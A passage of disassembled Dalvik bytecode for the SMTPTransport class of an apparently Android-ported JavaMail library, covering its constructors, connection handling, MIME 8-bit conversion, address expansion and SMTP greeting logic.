0000001C  new-array               v0, v4, [String
00000020  const-string            v3, "Bcc"
00000024  aput-object             v3, v0, v2
00000028  const-string            v2, "Content-Length"
0000002C  aput-object             v2, v0, v1
00000030  sput-object             v0, SMTPTransport->ignoreList:[String
00000034  new-array               v0, v4, [B
00000038  fill-array-data         v0, :5C
0000003E  sput-object             v0, SMTPTransport->CRLF:[B
00000042  const/16                v0, 0x10
00000046  new-array               v0, v0, [C
0000004A  fill-array-data         v0, :68
00000050  sput-object             v0, SMTPTransport->hexchar:[C
00000054  return-void
:56
00000056  move                    v0, v2
00000058  goto                    :18
0000005C  .array-data 1 x 0x2
              0xD
              0xA
          .end array-data
00000068  .array-data 2 x 0x10
              0x30
              0x31
              0x32
              0x33
              0x34
              0x35
              0x36
              0x37
              0x38
              0x39
              0x41
              0x42
              0x43
              0x44
              0x45
              0x46
          .end array-data
.end method

.method public constructor <init>(Session, URLName)V
          .registers 9
00000000  const-string            v3, "smtp"
00000004  const/16                v4, 0x19
00000008  const/4                 v5, 0x0
0000000A  move-object             v0, p0
0000000C  move-object             v1, p1
0000000E  move-object             v2, p2
00000010  invoke-direct/range     SMTPTransport-><init>(Session, URLName, String, I, Z)V, v0 .. v5
00000016  return-void
.end method

.method protected constructor <init>(Session, URLName, String, I, Z)V
          .registers 10
00000000  const/4                 v2, 0x1
00000002  const/4                 v1, 0x0
00000004  invoke-direct           Transport-><init>(Session, URLName)V, p0, p1, p2
0000000A  const-string            v0, "smtp"
0000000E  iput-object             v0, p0, SMTPTransport->name:String
00000012  const/16                v0, 0x19
00000016  iput                    v0, p0, SMTPTransport->defaultPort:I
0000001A  iput-boolean            v1, p0, SMTPTransport->isSSL:Z
0000001E  iput-boolean            v1, p0, SMTPTransport->sendPartiallyFailed:Z
00000022  iput-boolean            v1, p0, SMTPTransport->quitWait:Z
00000026  const-string            v0, "UNKNOWN"
0000002A  iput-object             v0, p0, SMTPTransport->saslRealm:String
0000002E  if-eqz                  p2, :3A
:32
00000032  invoke-virtual          URLName->getProtocol()String, p2
00000038  move-result-object      p3
:3A
0000003A  iput-object             p3, p0, SMTPTransport->name:String
0000003E  iput                    p4, p0, SMTPTransport->defaultPort:I
00000042  iput-boolean            p5, p0, SMTPTransport->isSSL:Z
00000046  invoke-virtual          Session->getDebugOut()PrintStream, p1
0000004C  move-result-object      v0
0000004E  iput-object             v0, p0, SMTPTransport->out:PrintStream
00000052  new-instance            v0, StringBuilder
00000056  const-string            v3, "mail."
0000005A  invoke-direct           StringBuilder-><init>(String)V, v0, v3
00000060  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
00000066  move-result-object      v0
00000068  const-string            v3, ".quitwait"
0000006C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v3
00000072  move-result-object      v0
00000074  invoke-virtual          StringBuilder->toString()String, v0
0000007A  move-result-object      v0
0000007C  invoke-virtual          Session->getProperty(String)String, p1, v0
00000082  move-result-object      v0
00000084  if-eqz                  v0, :182
:88
00000088  const-string            v3, "true"
0000008C  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v3
00000092  move-result             v0
00000094  if-nez                  v0, :182
:98
00000098  move                    v0, v1
:9A
0000009A  iput-boolean            v0, p0, SMTPTransport->quitWait:Z
0000009E  new-instance            v0, StringBuilder
000000A2  const-string            v3, "mail."
000000A6  invoke-direct           StringBuilder-><init>(String)V, v0, v3
000000AC  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
000000B2  move-result-object      v0
000000B4  const-string            v3, ".reportsuccess"
000000B8  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v3
000000BE  move-result-object      v0
000000C0  invoke-virtual          StringBuilder->toString()String, v0
000000C6  move-result-object      v0
000000C8  invoke-virtual          Session->getProperty(String)String, p1, v0
000000CE  move-result-object      v0
000000D0  if-eqz                  v0, :186
:D4
000000D4  const-string            v3, "true"
000000D8  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v3
000000DE  move-result             v0
000000E0  if-eqz                  v0, :186
:E4
000000E4  move                    v0, v2
:E6
000000E6  iput-boolean            v0, p0, SMTPTransport->reportSuccess:Z
000000EA  new-instance            v0, StringBuilder
000000EE  const-string            v3, "mail."
000000F2  invoke-direct           StringBuilder-><init>(String)V, v0, v3
000000F8  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
000000FE  move-result-object      v0
00000100  const-string            v3, ".starttls.enable"
00000104  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v3
0000010A  move-result-object      v0
0000010C  invoke-virtual          StringBuilder->toString()String, v0
00000112  move-result-object      v0
00000114  invoke-virtual          Session->getProperty(String)String, p1, v0
0000011A  move-result-object      v0
0000011C  if-eqz                  v0, :18A
:120
00000120  const-string            v3, "true"
00000124  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v3
0000012A  move-result             v0
0000012C  if-eqz                  v0, :18A
:130
00000130  move                    v0, v2
:132
00000132  iput-boolean            v0, p0, SMTPTransport->useStartTLS:Z
00000136  new-instance            v0, StringBuilder
0000013A  const-string            v3, "mail."
0000013E  invoke-direct           StringBuilder-><init>(String)V, v0, v3
00000144  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
0000014A  move-result-object      v0
0000014C  const-string            v3, ".userset"
00000150  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v3
00000156  move-result-object      v0
00000158  invoke-virtual          StringBuilder->toString()String, v0
0000015E  move-result-object      v0
00000160  invoke-virtual          Session->getProperty(String)String, p1, v0
00000166  move-result-object      v0
00000168  if-eqz                  v0, :18E
:16C
0000016C  const-string            v3, "true"
00000170  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v3
00000176  move-result             v0
00000178  if-eqz                  v0, :18E
:17C
0000017C  iput-boolean            v2, p0, SMTPTransport->useRset:Z
00000180  return-void
:182
00000182  move                    v0, v2
00000184  goto                    :9A
:186
00000186  move                    v0, v1
00000188  goto                    :E6
:18A
0000018A  move                    v0, v1
0000018C  goto                    :132
:18E
0000018E  move                    v2, v1
00000190  goto                    :17C
.end method

.method private closeConnection()V
          .registers 5
00000000  const/4                 v3, 0x0
:2
00000002  iget-object             v0, p0, SMTPTransport->serverSocket:Socket
00000006  if-eqz                  v0, :14
:A
0000000A  iget-object             v0, p0, SMTPTransport->serverSocket:Socket
0000000E  invoke-virtual          Socket->close()V, v0
:14
00000014  iput-object             v3, p0, SMTPTransport->serverSocket:Socket
00000018  iput-object             v3, p0, SMTPTransport->serverOutput:OutputStream
0000001C  iput-object             v3, p0, SMTPTransport->serverInput:BufferedInputStream
00000020  iput-object             v3, p0, SMTPTransport->lineInputStream:LineInputStream
00000024  invoke-super            Transport->isConnected()Z, p0
0000002A  move-result             v0
0000002C  if-eqz                  v0, :36
:30
00000030  invoke-super            Transport->close()V, p0
:36
00000036  return-void
:38
00000038  move-exception          v0
:3A
0000003A  new-instance            v1, MessagingException
0000003E  const-string            v2, "Server Close Failed"
00000042  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
00000048  throw                   v1
:4A
0000004A  move-exception          v0
0000004C  iput-object             v3, p0, SMTPTransport->serverSocket:Socket
00000050  iput-object             v3, p0, SMTPTransport->serverOutput:OutputStream
00000054  iput-object             v3, p0, SMTPTransport->serverInput:BufferedInputStream
00000058  iput-object             v3, p0, SMTPTransport->lineInputStream:LineInputStream
0000005C  invoke-super            Transport->isConnected()Z, p0
00000062  move-result             v1
00000064  if-eqz                  v1, :6E
:68
00000068  invoke-super            Transport->close()V, p0
:6E
0000006E  throw                   v0
          .catch IOException {:2 .. :14} :38
          .catchall {:2 .. :14} :4A
          .catchall {:3A .. :4A} :4A
.end method

.method private convertTo8Bit(MimePart)Z
          .registers 8
00000000  const/4                 v2, 0x1
00000002  const/4                 v3, 0x0
:4
00000004  const-string            v0, "text/*"
00000008  invoke-interface        MimePart->isMimeType(String)Z, p1, v0
0000000E  move-result             v0
00000010  if-eqz                  v0, :7A
:14
00000014  invoke-interface        MimePart->getEncoding()String, p1
0000001A  move-result-object      v0
0000001C  if-eqz                  v0, :DC
:20
00000020  const-string            v1, "quoted-printable"
00000024  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
0000002A  move-result             v1
0000002C  if-nez                  v1, :40
:30
00000030  const-string            v1, "base64"
00000034  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
0000003A  move-result             v0
0000003C  if-eqz                  v0, :DC
:40
00000040  invoke-interface        MimePart->getInputStream()InputStream, p1
00000046  move-result-object      v0
00000048  invoke-direct           SMTPTransport->is8Bit(InputStream)Z, p0, v0
0000004E  move-result             v0
00000050  if-eqz                  v0, :DC
:54
00000054  invoke-interface        MimePart->getContent()Object, p1
0000005A  move-result-object      v0
0000005C  invoke-interface        MimePart->getContentType()String, p1
00000062  move-result-object      v1
00000064  invoke-interface        MimePart->setContent(Object, String)V, p1, v0, v1
0000006A  const-string            v0, "Content-Transfer-Encoding"
0000006E  const-string            v1, "8bit"
00000072  invoke-interface        MimePart->setHeader(String, String)V, p1, v0, v1
:78
00000078  return                  v2
:7A
0000007A  const-string            v0, "multipart/*"
0000007E  invoke-interface        MimePart->isMimeType(String)Z, p1, v0
00000084  move-result             v0
00000086  if-eqz                  v0, :DC
:8A
0000008A  invoke-interface        MimePart->getContent()Object, p1
00000090  move-result-object      v0
00000092  check-cast              v0, MimeMultipart
00000096  invoke-virtual          MimeMultipart->getCount()I, v0
0000009C  move-result             v5
0000009E  move                    v4, v3
:A0
000000A0  if-lt                   v4, v5, :A8
:A4
000000A4  move                    v2, v3
000000A6  goto                    :78
:A8
000000A8  invoke-virtual          MimeMultipart->getBodyPart(I)BodyPart, v0, v4
000000AE  move-result-object      v1
000000B0  check-cast              v1, MimePart
000000B4  invoke-direct           SMTPTransport->convertTo8Bit(MimePart)Z, p0, v1
:BA
000000BA  move-result             v1
000000BC  if-eqz                  v1, :D8
:C0
000000C0  move                    v1, v2
:C2
000000C2  add-int/lit8            v3, v4, 0x1
000000C6  move                    v4, v3
000000C8  move                    v3, v1
000000CA  goto                    :A0
:CC
000000CC  move-exception          v0
000000CE  move                    v2, v3
000000D0  goto                    :78
:D2
000000D2  move-exception          v0
000000D4  move                    v2, v3
000000D6  goto                    :78
:D8
000000D8  move                    v1, v3
000000DA  goto                    :C2
:DC
000000DC  move                    v2, v3
000000DE  goto                    :78
          .catch IOException {:4 .. :BA} :D2
          .catch MessagingException {:4 .. :BA} :CC
.end method

.method private expandGroups()V
          .registers 8
00000000  const/4                 v3, 0x0
00000002  const/4                 v1, 0x0
00000004  move                    v2, v3
:6
00000006  iget-object             v0, p0, SMTPTransport->addresses:[Address
0000000A  array-length            v0, v0
0000000C  if-lt                   v2, v0, :2C
:10
00000010  if-eqz                  v1, :2A
:14
00000014  invoke-virtual          Vector->size()I, v1
0000001A  move-result             v0
0000001C  new-array               v0, v0, [InternetAddress
00000020  invoke-virtual          Vector->copyInto([Object)V, v1, v0
00000026  iput-object             v0, p0, SMTPTransport->addresses:[Address
:2A
0000002A  return-void
:2C
0000002C  iget-object             v0, p0, SMTPTransport->addresses:[Address
00000030  aget-object             v0, v0, v2
00000034  check-cast              v0, InternetAddress
00000038  invoke-virtual          InternetAddress->isGroup()Z, v0
0000003E  move-result             v4
00000040  if-eqz                  v4, :B4
:44
00000044  if-nez                  v1, :58
:48
00000048  new-instance            v1, Vector
0000004C  invoke-direct           Vector-><init>()V, v1
00000052  move                    v4, v3
:54
00000054  if-lt                   v4, v2, :7A
:58
00000058  const/4                 v4, 0x1
:5A
0000005A  invoke-virtual          InternetAddress->getGroup(Z)[InternetAddress, v0, v4
00000060  move-result-object      v5
00000062  if-eqz                  v5, :9E
:66
00000066  move                    v4, v3
:68
00000068  array-length            v6, v5
:6A
0000006A  if-lt                   v4, v6, :8E
:6E
0000006E  move-object             v0, v1
:70
00000070  add-int/lit8            v1, v2, 0x1
00000074  move                    v2, v1
00000076  move-object             v1, v0
00000078  goto                    :6
:7A
0000007A  iget-object             v5, p0, SMTPTransport->addresses:[Address
0000007E  aget-object             v5, v5, v4
00000082  invoke-virtual          Vector->addElement(Object)V, v1, v5
00000088  add-int/lit8            v4, v4, 0x1
0000008C  goto                    :54
:8E
0000008E  aget-object             v6, v5, v4
00000092  invoke-virtual          Vector->addElement(Object)V, v1, v6
00000098  add-int/lit8            v4, v4, 0x1
0000009C  goto                    :68
:9E
0000009E  invoke-virtual          Vector->addElement(Object)V, v1, v0
:A4
000000A4  move-object             v0, v1
000000A6  goto                    :70
:A8
000000A8  move-exception          v4
000000AA  invoke-virtual          Vector->addElement(Object)V, v1, v0
000000B0  move-object             v0, v1
000000B2  goto                    :70
:B4
000000B4  if-eqz                  v1, :BE
:B8
000000B8  invoke-virtual          Vector->addElement(Object)V, v1, v0
:BE
000000BE  move-object             v0, v1
000000C0  goto                    :70
          .catch ParseException {:5A .. :6A} :A8
          .catch ParseException {:8E .. :A4} :A8
.end method

.method private declared-synchronized getMD5()DigestMD5
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, SMTPTransport->md5support:DigestMD5
00000006  if-nez                  v0, :24
:A
0000000A  new-instance            v1, DigestMD5
0000000E  iget-boolean            v0, p0, SMTPTransport->debug:Z
00000012  if-eqz                  v0, :2C
:16
00000016  iget-object             v0, p0, SMTPTransport->out:PrintStream
:1A
0000001A  invoke-direct           DigestMD5-><init>(PrintStream)V, v1, v0
00000020  iput-object             v1, p0, SMTPTransport->md5support:DigestMD5
:24
00000024  iget-object             v0, p0, SMTPTransport->md5support:DigestMD5
:28
00000028  monitor-exit            p0
0000002A  return-object           v0
:2C
0000002C  const/4                 v0, 0x0
0000002E  goto                    :1A
:30
00000030  move-exception          v0
00000032  monitor-exit            p0
00000034  throw                   v0
          .catchall {:2 .. :28} :30
.end method

.method private initStreams()V
          .registers 7
00000000  iget-object             v0, p0, SMTPTransport->session:Session
00000004  invoke-virtual          Session->getProperties()Properties, v0
0000000A  move-result-object      v0
0000000C  iget-object             v1, p0, SMTPTransport->session:Session
00000010  invoke-virtual          Session->getDebugOut()PrintStream, v1
00000016  move-result-object      v1
00000018  iget-object             v2, p0, SMTPTransport->session:Session
0000001C  invoke-virtual          Session->getDebug()Z, v2
00000022  move-result             v2
00000024  const-string            v3, "mail.debug.quote"
00000028  invoke-virtual          Properties->getProperty(String)String, v0, v3
0000002E  move-result-object      v0
00000030  if-eqz                  v0, :BA
:34
00000034  const-string            v3, "true"
00000038  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v3
0000003E  move-result             v0
00000040  if-eqz                  v0, :BA
:44
00000044  const/4                 v0, 0x1
:46
00000046  new-instance            v3, TraceInputStream
0000004A  iget-object             v4, p0, SMTPTransport->serverSocket:Socket
0000004E  invoke-virtual          Socket->getInputStream()InputStream, v4
00000054  move-result-object      v4
00000056  invoke-direct           TraceInputStream-><init>(InputStream, OutputStream)V, v3, v4, v1
0000005C  invoke-virtual          TraceInputStream->setTrace(Z)V, v3, v2
00000062  invoke-virtual          TraceInputStream->setQuote(Z)V, v3, v0
00000068  new-instance            v4, TraceOutputStream
0000006C  iget-object             v5, p0, SMTPTransport->serverSocket:Socket
00000070  invoke-virtual          Socket->getOutputStream()OutputStream, v5
00000076  move-result-object      v5
00000078  invoke-direct           TraceOutputStream-><init>(OutputStream, OutputStream)V, v4, v5, v1
0000007E  invoke-virtual          TraceOutputStream->setTrace(Z)V, v4, v2
00000084  invoke-virtual          TraceOutputStream->setQuote(Z)V, v4, v0
0000008A  new-instance            v0, BufferedOutputStream
0000008E  invoke-direct           BufferedOutputStream-><init>(OutputStream)V, v0, v4
00000094  iput-object             v0, p0, SMTPTransport->serverOutput:OutputStream
00000098  new-instance            v0, BufferedInputStream
0000009C  invoke-direct           BufferedInputStream-><init>(InputStream)V, v0, v3
000000A2  iput-object             v0, p0, SMTPTransport->serverInput:BufferedInputStream
000000A6  new-instance            v0, LineInputStream
000000AA  iget-object             v1, p0, SMTPTransport->serverInput:BufferedInputStream
000000AE  invoke-direct           LineInputStream-><init>(InputStream)V, v0, v1
000000B4  iput-object             v0, p0, SMTPTransport->lineInputStream:LineInputStream
000000B8  return-void
:BA
000000BA  const/4                 v0, 0x0
000000BC  goto                    :46
.end method

.method private is8Bit(InputStream)Z
          .registers 7
00000000  const/4                 v0, 0x0
00000002  move                    v1, v0
00000004  move                    v2, v0
:6
00000006  invoke-virtual          InputStream->read()I, p1
:C
0000000C  move-result             v3
0000000E  if-gez                  v3, :30
:12
00000012  iget-boolean            v0, p0, SMTPTransport->debug:Z
00000016  if-eqz                  v0, :2C
:1A
0000001A  if-eqz                  v1, :2C
:1E
0000001E  iget-object             v0, p0, SMTPTransport->out:PrintStream
00000022  const-string            v2, "DEBUG SMTP: found an 8bit part"
00000026  invoke-virtual          PrintStream->println(String)V, v0, v2
:2C
0000002C  move                    v0, v1
:2E
0000002E  return                  v0
:30
00000030  and-int/lit16           v3, v3, 0xFF
00000034  const/16                v4, 0xD
00000038  if-eq                   v3, v4, :44
:3C
0000003C  const/16                v4, 0xA
00000040  if-ne                   v3, v4, :52
:44
00000044  move                    v2, v0
:46
00000046  const/16                v4, 0x7F
0000004A  if-le                   v3, v4, :6
:4E
0000004E  const/4                 v1, 0x1
00000050  goto                    :6
:52
00000052  if-eqz                  v3, :2E
:56
00000056  add-int/lit8            v2, v2, 0x1
0000005A  const/16                v4, 0x3E6
0000005E  if-le                   v2, v4, :46
:62
00000062  goto                    :2E
:64
00000064  move-exception          v1
00000066  goto                    :2E
          .catch IOException {:6 .. :C} :64
.end method

.method private isNotLastLine(String)Z
          .registers 4
00000000  if-eqz                  p1, :28
:4
00000004  invoke-virtual          String->length()I, p1
0000000A  move-result             v0
0000000C  const/4                 v1, 0x4
0000000E  if-lt                   v0, v1, :28
:12
00000012  const/4                 v0, 0x3
00000014  invoke-virtual          String->charAt(I)C, p1, v0
0000001A  move-result             v0
0000001C  const/16                v1, 0x2D
00000020  if-ne                   v0, v1, :28
:24
00000024  const/4                 v0, 0x1
:26
00000026  return                  v0
:28
00000028  const/4                 v0, 0x0
0000002A  goto                    :26
.end method

.method private issueSendCommand(String, I)V
          .registers 11
00000000  const/4                 v1, 0x0
00000002  invoke-virtual          SMTPTransport->sendCommand(String)V, p0, p1
00000008  invoke-virtual          SMTPTransport->readServerResponse()I, p0
0000000E  move-result             v2
00000010  if-eq                   v2, p2, :F6
:14
00000014  iget-object             v0, p0, SMTPTransport->validSentAddr:[Address
00000018  if-nez                  v0, :E6
:1C
0000001C  move                    v0, v1
:1E
0000001E  iget-object             v3, p0, SMTPTransport->validUnsentAddr:[Address
00000022  if-nez                  v3, :EE
:26
00000026  move                    v3, v1
:28
00000028  add-int                 v4, v0, v3
0000002C  new-array               v4, v4, [Address
00000030  if-lez                  v0, :3E
:34
00000034  iget-object             v5, p0, SMTPTransport->validSentAddr:[Address
00000038  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v5, v1, v4, v1, v0
:3E
0000003E  if-lez                  v3, :4C
:42
00000042  iget-object             v5, p0, SMTPTransport->validUnsentAddr:[Address
00000046  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v5, v1, v4, v0, v3
:4C
0000004C  const/4                 v0, 0x0
0000004E  iput-object             v0, p0, SMTPTransport->validSentAddr:[Address
00000052  iput-object             v4, p0, SMTPTransport->validUnsentAddr:[Address
00000056  iget-boolean            v0, p0, SMTPTransport->debug:Z
0000005A  if-eqz                  v0, :9E
:5E
0000005E  iget-object             v0, p0, SMTPTransport->out:PrintStream
00000062  new-instance            v1, StringBuilder
00000066  const-string            v3, "DEBUG SMTP: got response code "
0000006A  invoke-direct           StringBuilder-><init>(String)V, v1, v3
00000070  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
00000076  move-result-object      v1
00000078  const-string            v3, ", with response: "
0000007C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v3
00000082  move-result-object      v1
00000084  iget-object             v3, p0, SMTPTransport->lastServerResponse:String
00000088  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v3
0000008E  move-result-object      v1
00000090  invoke-virtual          StringBuilder->toString()String, v1
00000096  move-result-object      v1
00000098  invoke-virtual          PrintStream->println(String)V, v0, v1
:9E
0000009E  iget-object             v0, p0, SMTPTransport->lastServerResponse:String
000000A2  iget                    v1, p0, SMTPTransport->lastReturnCode:I
000000A6  iget-object             v3, p0, SMTPTransport->serverSocket:Socket
000000AA  if-eqz                  v3, :BC
:AE
000000AE  const-string            v3, "RSET"
000000B2  const/16                v4, 0xFA
000000B6  invoke-virtual          SMTPTransport->issueCommand(String, I)V, p0, v3, v4
:BC
000000BC  iput-object             v0, p0, SMTPTransport->lastServerResponse:String
000000C0  iput                    v1, p0, SMTPTransport->lastReturnCode:I
000000C4  new-instance            v0, SMTPSendFailedException
000000C8  iget-object             v3, p0, SMTPTransport->lastServerResponse:String
000000CC  iget-object             v4, p0, SMTPTransport->exception:MessagingException
000000D0  iget-object             v5, p0, SMTPTransport->validSentAddr:[Address
000000D4  iget-object             v6, p0, SMTPTransport->validUnsentAddr:[Address
000000D8  iget-object             v7, p0, SMTPTransport->invalidAddr:[Address
000000DC  move-object             v1, p1
000000DE  invoke-direct/range     SMTPSendFailedException-><init>(String, I, String, Exception, [Address, [Address, [Address)V, v0 .. v7
000000E4  throw                   v0
:E6
000000E6  iget-object             v0, p0, SMTPTransport->validSentAddr:[Address
000000EA  array-length            v0, v0
000000EC  goto                    :1E
:EE
000000EE  iget-object             v3, p0, SMTPTransport->validUnsentAddr:[Address
000000F2  array-length            v3, v3
000000F4  goto                    :28
:F6
000000F6  return-void
.end method

.method private normalizeAddress(String)String
          .registers 4
00000000  const-string            v0, "<"
00000004  invoke-virtual          String->startsWith(String)Z, p1, v0
0000000A  move-result             v0
0000000C  if-nez                  v0, :4A
:10
00000010  const-string            v0, ">"
00000014  invoke-virtual          String->endsWith(String)Z, p1, v0
0000001A  move-result             v0
0000001C  if-nez                  v0, :4A
:20
00000020  new-instance            v0, StringBuilder
00000024  const-string            v1, "<"
00000028  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000002E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000034  move-result-object      v0
00000036  const-string            v1, ">"
0000003A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000040  move-result-object      v0
00000042  invoke-virtual          StringBuilder->toString()String, v0
00000048  move-result-object      p1
:4A
0000004A  return-object           p1
.end method

.method private openServer()V
          .registers 7
00000000  const/4                 v2, 0xFFFFFFFFFFFFFFFF
00000002  const-string            v1, "UNKNOWN"
:6
00000006  iget-object             v0, p0, SMTPTransport->serverSocket:Socket
0000000A  invoke-virtual          Socket->getPort()I, v0
00000010  move-result             v2
00000012  iget-object             v0, p0, SMTPTransport->serverSocket:Socket
00000016  invoke-virtual          Socket->getInetAddress()InetAddress, v0
0000001C  move-result-object      v0
0000001E  invoke-virtual          InetAddress->getHostName()String, v0
00000024  move-result-object      v1
00000026  iget-boolean            v0, p0, SMTPTransport->debug:Z
0000002A  if-eqz                  v0, :6A
:2E
0000002E  iget-object             v0, p0, SMTPTransport->out:PrintStream
00000032  new-instance            v3, StringBuilder
00000036  const-string            v4, "DEBUG SMTP: starting protocol to host \""
0000003A  invoke-direct           StringBuilder-><init>(String)V, v3, v4
00000040  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v1
00000046  move-result-object      v3
00000048  const-string            v4, "\", port "
0000004C  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v4
00000052  move-result-object      v3
00000054  invoke-virtual          StringBuilder->append(I)StringBuilder, v3, v2
0000005A  move-result-object      v3
0000005C  invoke-virtual          StringBuilder->toString()String, v3
00000062  move-result-object      v3
00000064  invoke-virtual          PrintStream->println(String)V, v0, v3
:6A
0000006A  invoke-direct           SMTPTransport->initStreams()V, p0
00000070  invoke-virtual          SMTPTransport->readServerResponse()I, p0
00000076  move-result             v0
00000078  const/16                v3, 0xDC
0000007C  if-eq                   v0, v3, :198
:80
00000080  iget-object             v3, p0, SMTPTransport->serverSocket:Socket
00000084  invoke-virtual          Socket->close()V, v3
0000008A  const/4                 v3, 0x0
0000008C  iput-object             v3, p0, SMTPTransport->serverSocket:Socket
00000090  const/4                 v3, 0x0
00000092  iput-object             v3, p0, SMTPTransport->serverOutput:OutputStream
00000096  const/4                 v3, 0x0
00000098  iput-object             v3, p0, SMTPTransport->serverInput:BufferedInputStream
0000009C  const/4                 v3, 0x0
0000009E  iput-object             v3, p0, SMTPTransport->lineInputStream:LineInputStream
000000A2  iget-boolean            v3, p0, SMTPTransport->debug:Z
000000A6  if-eqz                  v3, :106
:AA
000000AA  iget-object             v3, p0, SMTPTransport->out:PrintStream
000000AE  new-instance            v4, StringBuilder
000000B2  const-string            v5, "DEBUG SMTP: got bad greeting from host \""
000000B6  invoke-direct           StringBuilder-><init>(String)V, v4, v5
000000BC  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v1
000000C2  move-result-object      v4
000000C4  const-string            v5, "\", port: "
000000C8  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v5
000000CE  move-result-object      v4
000000D0  invoke-virtual          StringBuilder->append(I)StringBuilder, v4, v2
000000D6  move-result-object      v4
000000D8  const-string            v5, ", response: "
000000DC  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v5
000000E2  move-result-object      v4
000000E4  invoke-virtual          StringBuilder->append(I)StringBuilder, v4, v0
000000EA  move-result-object      v4
000000EC  const-string            v5, "\n"
000000F0  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v5
000000F6  move-result-object      v4
000000F8  invoke-virtual          StringBuilder->toString()String, v4
000000FE  move-result-object      v4
00000100  invoke-virtual          PrintStream->println(String)V, v3, v4
:106
00000106  new-instance            v3, MessagingException
0000010A  new-instance            v4, StringBuilder
0000010E  const-string            v5, "Got bad greeting from SMTP host: "
00000112  invoke-direct           StringBuilder-><init>(String)V, v4, v5
00000118  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v1
0000011E  move-result-object      v4
00000120  const-string            v5, ", port: "
00000124  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v5
0000012A  move-result-object      v4
0000012C  invoke-virtual          StringBuilder->append(I)StringBuilder, v4, v2
00000132  move-result-object      v4
00000134  const-string            v5, ", response: "
00000138  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v5
0000013E  move-result-object      v4
00000140  invoke-virtual          StringBuilder->append(I)StringBuilder, v4, v0
00000146  move-result-object      v0
00000148  invoke-virtual          StringBuilder->toString()String, v0
0000014E  move-result-object      v0
00000150  invoke-direct           MessagingException-><init>(String)V, v3, v0
00000156  throw                   v3
:158
00000158  move-exception          v0
0000015A  new-instance            v3, MessagingException
0000015E  new-instance            v4, StringBuilder
00000162  const-string            v5, "Could not start protocol to SMTP host: "
00000166  invoke-direct           StringBuilder-><init>(String)V, v4, v5
0000016C  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v1
00000172  move-result-object      v1
00000174  const-string            v4, ", port: "
00000178  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v4
0000017E  move-result-object      v1
00000180  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
00000186  move-result-object      v1
00000188  invoke-virtual          StringBuilder->toString()String, v1
0000018E  move-result-object      v1
00000190  invoke-direct           MessagingException-><init>(String, Exception)V, v3, v1, v0
00000196  throw                   v3
:198
00000198  iget-boolean            v0, p0, SMTPTransport->debug:Z
0000019C  if-eqz                  v0, :1E8
:1A0
000001A0  iget-object             v0, p0, SMTPTransport->out:PrintStream
000001A4  new-instance            v3, StringBuilder
000001A8  const-string            v4, "DEBUG SMTP: protocol started to host \""
000001AC  invoke-direct           StringBuilder-><init>(String)V, v3, v4
000001B2  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v1
000001B8  move-result-object      v3
000001BA  const-string            v4, "\", port: "
000001BE  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v4
000001C4  move-result-object      v3
000001C6  invoke-virtual          StringBuilder->append(I)StringBuilder, v3, v2
000001CC  move-result-object      v3
000001CE  const-string            v4, "\n"
000001D2  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v4
000001D8  move-result-object      v3
000001DA  invoke-virtual          StringBuilder->toString()String, v3
000001E0  move-result-object      v3
000001E2  invoke-virtual          PrintStream->println(String)V, v0, v3
:1E8
000001E8  return-void
          .catch IOException {:6 .. :158} :158
          .catch IOException {:198 .. :1E8} :158
.end method

.method private openServer(String, I)V
          .registers 7
00000000  iget-boolean            v0, p0, SMTPTransport->debug:Z
00000004  if-eqz                  v0, :5C
:8
00000008  iget-object             v0, p0, SMTPTransport->out:PrintStream
0000000C  new-instance            v1, StringBuilder
00000010  const-string            v2, "DEBUG SMTP: trying to connect to host \""
00000014  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000001A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p1
00000020  move-result-object      v1
00000022  const-string            v2, "\", port "
00000026  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000002C  move-result-object      v1
0000002E  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, p2
00000034  move-result-object      v1
00000036  const-string            v2, ", isSSL "
0000003A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000040  move-result-object      v1
00000042  iget-boolean            v2, p0, SMTPTransport->isSSL:Z
00000046  invoke-virtual          StringBuilder->append(Z)StringBuilder, v1, v2
0000004C  move-result-object      v1
0000004E  invoke-virtual          StringBuilder->toString()String, v1
00000054  move-result-object      v1
00000056  invoke-virtual          PrintStream->println(String)V, v0, v1
:5C
